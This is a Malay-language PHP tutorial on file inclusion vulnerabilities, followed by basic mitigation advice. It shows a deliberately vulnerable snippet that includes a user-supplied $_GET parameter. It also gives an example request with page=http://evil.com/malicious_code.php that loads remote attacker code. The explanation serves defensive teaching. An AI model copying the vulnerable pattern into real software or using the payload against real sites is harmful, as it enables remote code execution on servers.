Rumah >pembangunan bahagian belakang >tutorial php >Bermula dengan PHP: Kerentanan Pembendungan Fail
PHP ialah bahasa pengaturcaraan bahagian pelayan yang digunakan secara meluas, dan banyak tapak web serta aplikasi menggunakan PHP sebagai bahasa pembangunan bahagian belakang mereka. Walau bagaimanapun, seperti semua bahasa pengaturcaraan, PHP mempunyai kelemahan dan isu keselamatannya. Artikel ini akan menyerlahkan kerentanan kemasukan fail PHP dan memberikan beberapa cadangan mudah untuk membantu anda melindungi aplikasi anda daripada jenis serangan ini.
Apakah itu kerentanan kemasukan fail?
Kerentanan kemasukan fail bermakna penyerang boleh menggunakan fungsi pemasukan fail dalam aplikasi untuk memasukkan kod hasad, dengan itu melaksanakan serangan kod sewenang-wenangnya. Kerentanan ini biasanya berlaku dalam aplikasi yang memerlukan kemasukan dinamik fail.
Dalam PHP, terdapat tiga fungsi yang boleh digunakan untuk memasukkan fail: include()
, require()
dan include_once()
. Fungsi ini sering digunakan untuk memasukkan kod biasa (seperti fail pengepala atau fail pustaka) ke dalam berbilang halaman berbeza. Jika fungsi ini digunakan untuk mengandungi input pengguna yang tidak dibersihkan dengan berkesan, penyerang boleh melaksanakan kod hasad dengan menghantar beberapa kod hasad.
Sebagai contoh, katakan anda mempunyai fail dengan kod berikut dalam aplikasi anda:
$page = $_GET['page']; include($page . '.php');
Penyerang boleh mengeksploitasi kelemahan ini dengan menghantar http://example.com/index.php?page=http://evil.com/malicious_code.php
. Dalam kes ini, pembolehubah $page
akan mengandungi http://evil.com/malicious_code.php
dan fail akan disertakan, membolehkan penyerang melaksanakan kod sewenang-wenangnya.
Bagaimana untuk mengelakkan kerentanan kemasukan fail?
Walaupun ada kemungkinan untuk menghantar beberapa input pengguna apabila menggunakan fungsi pemasukan fail, beberapa langkah mudah boleh membantu anda memastikan kod anda selamat:
1 Hanya benarkan fail yang diperlukan
Minimumkan bilangan fail yang perlu disertakan dan pastikan hanya fail yang diperlukan sahaja dibenarkan untuk disertakan. Sila jangan minta pengguna memasukkan nama fail sebagai fail yang mengandungi Sebaliknya, nyatakan nama fail secara jelas dalam kod anda.
2. Semakan dan penapisan nama fail
Sentiasa semak dan tapis input pengguna sebagai input yang mengandungi nama fail. Pastikan anda hanya membenarkan kemasukan fail yang diperlukan oleh aplikasi anda dan mengelakkan input pengguna yang mengandungi aksara traversal direktori seperti ../
atau ./
.
3. Jangan sekali-kali menggunakan nama fail tapak-tempatan dinamik
Jangan gunakan nama fail tapak-tempatan dinamik semasa membaca fail dari cakera tempatan. Sebaliknya, gunakan laluan statik seperti laluan mutlak atau relatif (sentiasa bermula dari akar aplikasi).
4 Hadkan lokasi dan kandungan fail yang disertakan
Untuk mengelakkan pelaksanaan skrip berniat jahat, hadkan lokasi fail yang disertakan kepada direktori khusus aplikasi anda dan pastikan anda menyemak sebelum memasukkan fail kandungannya.
5. Urus dengan betul cara parameter nama fail diserahkan kepada aplikasi
Berhati-hati dan kendalikan kemungkinan serangan suntikan arahan, seperti menggunakan garis miring ke belakang atau tanda kurungan apabila menyertakan nama fail.
Kesimpulan
Kerentanan kemasukan fail ialah sejenis serangan yang sukar dikesan dan dicegah, tetapi aplikasi yang mengikut pengesyoran di atas adalah lebih selamat. Walaupun anda tidak sepenuhnya mengelakkan risiko kemasukan fail jauh, anda boleh mengurangkan kemungkinan aplikasi anda akan terjejas, dan dengan berbuat demikian, sangat mengurangkan potensi kesan. Kerentanan kemasukan fail jauh adalah jenis serangan yang agak biasa, jadi anda harus memastikan bahawa anda mengambil kira kewujudan kelemahan tersebut dan mengambil langkah keselamatan yang diperlukan semasa menulis dan menyelenggara aplikasi PHP.
Atas ialah kandungan terperinci Bermula dengan PHP: Kerentanan Pembendungan Fail. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!